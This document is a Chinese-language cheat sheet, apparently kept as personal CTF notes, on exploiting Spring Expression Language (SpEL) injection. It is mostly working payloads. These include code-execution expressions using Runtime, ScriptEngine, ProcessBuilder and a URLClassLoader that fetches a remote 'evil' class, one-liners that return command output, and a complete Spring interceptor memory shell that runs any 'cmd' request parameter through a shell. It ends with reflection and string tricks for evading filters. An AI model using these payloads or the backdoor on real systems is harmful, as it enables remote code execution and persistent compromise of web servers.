SPEL语法基础
#{}
这个里面会被解析为spel表达式
T()
T()里面的为class,T(class).function()可以调用静态方法
变量定义和调用
StandardEvaluationContext自定义变量
package com.ctf;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
public class test {
public static void main(String[] args) throws Exception{
String test = "CHHHCHHOH";
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("test",test);
String payload = "#test";
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(payload);
Object value = exp.getValue(context);
System.out.println(value);
}
}
运行环境中自带的变量
#this:上下文
#root:容器的root对象
懒的搭环境,先抄一下
rce基础
Runtime
T(Runtime).getRuntime().exec("calc")
ScriptEngine
new javax.script.ScriptEngineManager().getEngineByName('javascript').eval("java.lang.Runtime.getRuntime().exec(['calc']);")
[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
ProcessBuilder
new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()
UrlClassloader
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evil\").newInstance()
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
AppClassloader
T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')
T(org.springframework.expression.Expression).getClass().getClassLoader()
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
T(com.ctf.controller.Demo).getClass().getClassLoader()
回显
rce结果返回为字符串
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()
内存马
T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()
base64 -w 0 evil.class
import org.springframework.web.servlet.HandlerInterceptor;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;
public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor {
static {
System.out.println("staart");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
InceptorMemShell evilInterceptor = new InceptorMemShell();
adaptInterceptors.add(evilInterceptor);
System.out.println("ok");
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
response.setCharacterEncoding("gbk");
java.io.PrintWriter printWriter = response.getWriter();
ProcessBuilder builder;
String o = "";
if (System.getProperty("os.name").toLowerCase().contains("win")) {
builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
} else {
builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
}
java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema");
o = c.hasNext() ? c.next(): o;
c.close();
printWriter.println(o);
printWriter.flush();
printWriter.close();
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
bypass
字符串
T(String).getName()[0].replace(106,104)+T(Character).toString(104)
反射
T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String)).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),'calc')